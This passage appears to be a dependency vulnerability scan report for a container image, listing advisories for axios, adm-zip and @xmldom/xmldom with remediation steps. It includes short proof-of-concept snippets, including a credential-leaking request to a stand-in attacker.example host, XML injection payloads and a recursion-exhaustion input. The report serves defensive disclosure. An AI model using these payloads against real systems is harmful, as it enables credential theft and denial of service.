There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.2 or higher.

References

More about this vulnerability

Server-side Request Forgery (SSRF)

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.

Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

More about this vulnerability

Prototype Pollution

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)
        
          foreach property of source
        
            if property exists and is an object on both the target and the source
        
              merge(target[property], source[property])
        
            else
        
              target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

More about this vulnerability

Insertion of Sensitive Information Into Sent Data

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
        delete process.env.HTTPS_PROXY;
        
        await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: adm-zip
  • Introduced through: rag-builder@1.0.0 and adm-zip@0.5.16

Detailed paths

  • Introduced through: rag-builder@1.0.0 › adm-zip@0.5.16

Overview

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in zipEntry.js and entryHeader.js, which size a Buffer.alloc() call directly from the uncompressed-size field of a ZIP central directory header without validating it. An attacker can crash the process with an out-of-memory condition by supplying a small ZIP file, around 120 bytes, whose header declares a roughly 4 GB uncompressed size, triggering the oversized allocation before any CRC check.

Remediation

Upgrade adm-zip to version 0.5.18 or higher.

References

More about this vulnerability

Symlink Attack

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: adm-zip
  • Introduced through: rag-builder@1.0.0 and adm-zip@0.5.16

Detailed paths

  • Introduced through: rag-builder@1.0.0 › adm-zip@0.5.16

Overview

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

Affected versions of this package are vulnerable to Symlink Attack through the extractAllTo, extractAllToAsync, and extractEntryTo code paths in util/utils.js. An attacker can write attacker-controlled contents outside the extraction root by placing a symbolic link inside the destination directory and then supplying an archive entry that is extracted with overwrite enabled. This can replace any file the extracting process is allowed to write, breaking the integrity of files in shared, reused, or predictable extraction locations such as temporary directories or CI workspaces.

Remediation

Upgrade adm-zip to version 0.6.1 or higher.

References

More about this vulnerability

Improper Handling of Highly Compressed Data (Data Amplification)

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: adm-zip
  • Introduced through: rag-builder@1.0.0 and adm-zip@0.5.16

Detailed paths

  • Introduced through: rag-builder@1.0.0 › adm-zip@0.5.16

Overview

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the inflater process. An attacker can exhaust system memory and disrupt service availability by submitting specially crafted ZIP archives with highly compressible entries that declare a zero uncompressed size.

Remediation

Upgrade adm-zip to version 0.6.1 or higher.

References

More about this vulnerability

Memory Allocation with Excessive Size Value

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: adm-zip
  • Introduced through: rag-builder@1.0.0 and adm-zip@0.5.16

Detailed paths

  • Introduced through: rag-builder@1.0.0 › adm-zip@0.5.16

Overview

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the async decompression path in methods/inflater.js, where the decompression size cap enforced by zlib's maxOutputLength option is not applied to the streaming API. An attacker can supply a zip archive whose entries declare a small or zero uncompressed size but contain a large compressed payload (a decompression bomb), causing unbounded memory growth and a crash of the host process. Additionally, a declared size of 0 previously disabled the cap entirely on the synchronous path, allowing the same class of attack through entries that lie about their size.

Remediation

Upgrade adm-zip to version 0.6.1 or higher.

References

More about this vulnerability

Incorrect Behavior Order

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: adm-zip
  • Introduced through: rag-builder@1.0.0 and adm-zip@0.5.16

Detailed paths

  • Introduced through: rag-builder@1.0.0 › adm-zip@0.5.16

Overview

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

Affected versions of this package are vulnerable to Incorrect Behavior Order via duplicate entry names in a ZIP archive processed by zipFile.js. Because adm-zip stores all entries in entryList (used by extractAllTo()) but only the last occurrence of a name in entryTable (used by getEntry()), an attacker can supply an archive containing two entries with the same name. An application that validates entry content by calling getEntry() before extracting will inspect one file, while extractAllTo() writes a different file to disk, allowing the attacker to bypass content validation and land arbitrary content on the filesystem.

Remediation

Upgrade adm-zip to version 0.6.1 or higher.

References

More about this vulnerability

Uncaught Exception

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: adm-zip
  • Introduced through: rag-builder@1.0.0 and adm-zip@0.5.16

Detailed paths

  • Introduced through: rag-builder@1.0.0 › adm-zip@0.5.16

Overview

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

Affected versions of this package are vulnerable to Uncaught Exception via inflateAsync in methods/inflater.js when processing a ZIP entry containing malformed DEFLATE data. The zlib.createInflateRaw stream emits an error event (e.g. Z_DATA_ERROR) that has no registered listener, causing Node.js to re-throw it as an uncaught exception on a later tick and crash the host process.

Remediation

Upgrade adm-zip to version 0.6.1 or higher.

References

More about this vulnerability

Incorrect Permission Assignment for Critical Resource

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: adm-zip
  • Introduced through: rag-builder@1.0.0 and adm-zip@0.5.16

Detailed paths

  • Introduced through: rag-builder@1.0.0 › adm-zip@0.5.16

Overview

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

Affected versions of this package are vulnerable to Incorrect Permission Assignment for Critical Resource via the fileAttr getter in headers/entryHeader.js, which preserves attacker-controlled Unix special permission bits (setuid 0o4000, setgid 0o2000, and sticky 0o1000) from ZIP archive metadata during extraction. When the keepOriginalPermission option is used and extraction is performed as root, an attacker who controls the ZIP archive can plant a setuid-root binary, achieving local privilege escalation.

Note: This is only exploitable when extraction is performed as a privileged user (e.g., root) with the keepOriginalPermission option enabled.

Remediation

Upgrade adm-zip to version 0.6.1 or higher.

References

More about this vulnerability

XML Injection

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to XML Injection via the XMLSerializer() function. An attacker can manipulate the structure and integrity of generated XML documents by injecting attacker-controlled markup containing the CDATA terminator ]]> through CDATA section content, which is not properly validated or sanitized during serialization. This can result in unauthorized XML elements or attributes being inserted, potentially leading to business logic manipulation or privilege escalation in downstream consumers.

Remediation

Upgrade @xmldom/xmldom to version 0.8.12, 0.9.9 or higher.

References

More about this vulnerability

XML Injection

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to XML Injection due to unvalidated comment serialization. When an application uses the package to create an XML comment from untrusted user input, the package fails to sanitize comment-breaking sequences (like -->). An attacker can input --> to terminate the comment prematurely. Once the comment is broken out of, any text the attacker places after the --> is treated as "live" XML markup by the serializer rather than harmless comment text.

PoC

const { DOMImplementation, DOMParser, XMLSerializer } = require('@xmldom/xmldom');
        
        const doc = new DOMImplementation().createDocument(null, 'root', null);
        
        doc.documentElement.appendChild(
          doc.createComment('--><injected attr="1"/><!--')
        );
        
        const xml = new XMLSerializer().serializeToString(doc);
        console.log(xml);
        // <root><!----><injected attr="1"/><!----></root>
        
        const reparsed = new DOMParser().parseFromString(xml, 'text/xml');
        console.log(reparsed.documentElement.childNodes.item(1).nodeName);
        // injected

Remediation

Upgrade @xmldom/xmldom to version 0.8.13, 0.9.10 or higher.

References

More about this vulnerability

Uncontrolled Recursion

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to Uncontrolled Recursion in the recursive processing of deeply nested XML documents by several DOM-related operations, including normalize, serializeToString, getElementsByTagName, getElementsByTagNameNS, getElementsByClassName, getElementById, cloneNode, importNode, textContent, and isEqualNode. An attacker can cause the application to crash or become unresponsive by submitting a valid, deeply nested XML payload that triggers uncontrolled recursion and stack exhaustion.

PoC

const { DOMParser, XMLSerializer } = require('@xmldom/xmldom');
        
        const depth = 5000;
        const xml = '<a>'.repeat(depth) + '</a>'.repeat(depth);
        const doc = new DOMParser().parseFromString(xml, 'text/xml');
        new XMLSerializer().serializeToString(doc);
        // RangeError: Maximum call stack size exceeded

Remediation

Upgrade @xmldom/xmldom to version 0.8.13, 0.9.10 or higher.

References

More about this vulnerability

XML Injection

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to XML Injection in the serialization of DocumentType nodes when attacker-controlled values are provided to the publicId, systemId, or internalSubset fields. An attacker can inject arbitrary XML markup into the serialized output by supplying specially crafted input to these fields, potentially leading to the injection of malicious DOCTYPE declarations or markup outside the intended context.

Note:

This is only exploitable if untrusted data is passed programmatically to createDocumentType or written directly to the relevant properties and then serialized without enabling strict validation.

Workaround

This vulnerability can be mitigated by passing the option { requireWellFormed: true } to XMLSerializer.serializeToString() to enforce validation of the affected fields.

Remediation

Upgrade @xmldom/xmldom to version 0.8.13, 0.9.10 or higher.

References

More about this vulnerability

XML Injection

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to XML Injection via the createProcessingInstruction function. An attacker can inject arbitrary XML nodes into the serialized output by supplying specially crafted data containing the PI-closing sequence, which is not validated or neutralized during serialization. This can alter the structure and meaning of generated XML documents, potentially impacting workflows that store, forward, sign, or parse XML.

Note:

This is only exploitable if the serialization is performed without passing the { requireWellFormed: true } option.

PoC

const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
        
        const doc = new DOMImplementation().createDocument(null, 'r', null);
        doc.documentElement.appendChild(
            doc.createProcessingInstruction('a', '?><z/><?q ')
        );
        console.log(new XMLSerializer().serializeToString(doc));
        // <r><?a ?><z/><?q ?></r>
        //          ^^^^ injected <z/> element is active markup

Remediation

Upgrade @xmldom/xmldom to version 0.8.13, 0.9.10 or higher.

References

More about this vulnerability

XML Injection

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to XML Injection via improper validation of the name property in the DocumentType node when requireWellFormed is set to true. An attacker can inject arbitrary markup into the output by supplying a crafted value to the name property, potentially leading to the injection of sibling elements or manipulation of the document structure.

Remediation

Upgrade @xmldom/xmldom to version 0.8.15, 0.9.12 or higher.

References

More about this vulnerability

Regular Expression Denial of Service (ReDoS)

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the parseFromString function. An attacker can cause excessive resource consumption and stall the event loop by submitting specially crafted XML input containing long whitespace runs in end tags.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
        0.04s user 0.01s system 95% cpu 0.052 total
        
        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
        1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @xmldom/xmldom to version 0.8.15 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the appendElement function in lib/sax.js when handling XML documents with deeply nested elements that declare new namespace prefixes. An attacker can cause excessive memory consumption by submitting specially crafted XML input that leads to quadratic growth in namespace-map storage, potentially resulting in process heap exhaustion.

Remediation

Upgrade @xmldom/xmldom to version 0.8.15, 0.9.12 or higher.

References

More about this vulnerability

XML Injection

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to XML Injection in the Document.createProcessingInstruction function. An attacker can inject arbitrary XML structure by supplying specially crafted input containing invalid XML-name characters, which can break the processing-instruction boundary during serialization.

Remediation

Upgrade @xmldom/xmldom to version 0.8.15, 0.9.12 or higher.

References

More about this vulnerability

Inefficient Algorithmic Complexity

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the DOMParser.parseFromString function. An attacker can cause significant performance degradation and stall the Node.js event loop by submitting XML documents containing elements with a large number of unique attributes.

Remediation

Upgrade @xmldom/xmldom to version 0.8.15, 0.9.12 or higher.

References

More about this vulnerability

XML Injection

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to XML Injection via the createElement method. An attacker can inject arbitrary attributes, elements, or processing instructions into serialized XML or HTML by supplying crafted tag names, potentially leading to execution of malicious scripts in environments that consume the serialized output.

Remediation

Upgrade @xmldom/xmldom to version 0.8.14, 0.9.11 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the parseElementStartPart function and normalization. An attacker can cause excessive resource consumption by providing specially crafted XML input that triggers repeated rescanning or merging of adjacent text nodes.

Remediation

Upgrade @xmldom/xmldom to version 0.8.15, 0.9.12 or higher.

References

More about this vulnerability

XML Injection

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: @xmldom/xmldom
  • Introduced through: rag-builder@1.0.0, mammoth@1.10.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0 › @xmldom/xmldom@0.8.11

Overview

@xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom

Affected versions of this package are vulnerable to XML Injection via the setAttribute method. An attacker can inject arbitrary attribute names, including those containing event handlers or namespace declarations, by supplying crafted input that bypasses validation checks.

Remediation

Upgrade @xmldom/xmldom to version 0.8.14, 0.9.11 or higher.

References

More about this vulnerability

Improper Verification of Cryptographic Signature

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: @sigstore/verify
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
